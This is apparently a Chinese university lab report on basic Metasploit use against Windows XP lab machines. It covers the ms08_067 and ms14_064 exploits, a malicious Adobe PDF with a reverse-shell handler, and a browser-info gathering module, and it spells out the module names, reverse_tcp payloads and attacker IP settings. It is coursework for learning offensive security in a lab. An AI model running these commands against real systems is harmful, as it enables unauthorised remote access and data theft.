Exp5 MSF基础应用

20154331 Exp5 MSF基础应用

实验内容：

1、主动攻击：ms08_067。

首先我们用 search ms08-067查看漏洞信息。

我们发现就只有一个工具，于是乎调用它，使用 use exploit/windows/smb/ms08_067_netapi.

然后键入show payloads看一下我们需要的payload

然后我们输入set payload generic/shell_reverse_tcp选择病毒模块。然后show option 查看相应的信息。

然后我们设置相应的参数，LHOST是主机，RHOST是靶机。

主机ip为192.168.116.131

靶机ip为192.168.116.134

回连成功了！

然后我尝试是在主机下与自己ping,结果能ping通，主动攻击成功！！！

2、针对浏览器的攻击,ms14-064.

   首先在微软的官网上上到14-064以及了解相关信息。决定用这个。

  

 

在msf中search ms14-064, 看到三个工具。

然后我们选择用第一个模块：use exploit/windows/browser/ms14_064_ole_code_execution.

并反向链接：payload windows/meterpreter/reverse_tcp。

然后输入：show options配置一下参数。

由于这个实验是第二天做的，主机的ip地址又变成了192.168.116.135.我们来配置一下参数：

AllowPowershellprompt改为true：set AllowPowershellPrompt true

LHOST---攻击机的IP地址：set LHOST 192.168.116.135

SRVHOST---攻击机的IP地址：set SRVHOST 192.168.116.135

exploit.

exploit攻击后会生成带有攻击性的URL，这里生成的URL为：http://192.168.0.203:8080/fuiYPGD3cKdbp,

URL发到winxp上用winxp的ie浏览器打开:

回到msf,我们可以看到有攻击绘画的建立，得到一个session 2，(1是我之前一次建立的，不用管他)利用这个绘画便得到了meterpreter，输入指令获取winxp的信息

攻击成功！！！！

攻击成功！！！

3、针对客户端的攻击:adobe

 首先和之前一样用search命令查找对该漏洞的攻击模块：search adobe

我选取的是下面蓝框的：use exploit/windows/fileformat/adobe_pdf_embedded_exe.

然后查看需要的设置和可以攻击的靶机类型：

输入：show options

 然后exploit生成：

输入：use exploit/multi/handler 进入handler模式，然后exploit

我们输入抓屏指令：screenshot试试

成功了！！！！

 

4、成功应用任何一个辅助模块。

 用show auxiliary查看所有辅助模块，并选择其中的一个，选的是 gather/browser_info

 

 然后输入 :show options查看需要修改的信息：

 

修改主机IP地址：set SRVHOST 192.168.116.135

生成一个usl,我们把这个网址复制到winxp靶机上用浏览器打开：

 

 

 上钩了：

 

基础问题回答：

（1）用自己的话解释什么是exploit,payload,encode.

exploit是生成或启动已经设置好的攻击程序，获得相应权限。在实验中，exploit生成了PDF文件来将被攻击主机的shell传送给在监听的Kali；生成了一个网站服务器，被攻击者连接时可被攻击；直接攻击win7主机等。
　　　　　payload是指将恶意代码包装成可插入到目标主机的东西。
　　　　　encode是指编码，去掉一些无用的字符或改变自己的特征码。

实验体会：

这是第五次实验MSF基础应用，这次争对具体主机进行攻击，原来漏洞那么多，看来还是要及时修补漏洞才是真的，什么网络链接之类的都不敢再点了，哈哈哈，不过还是收获很多的。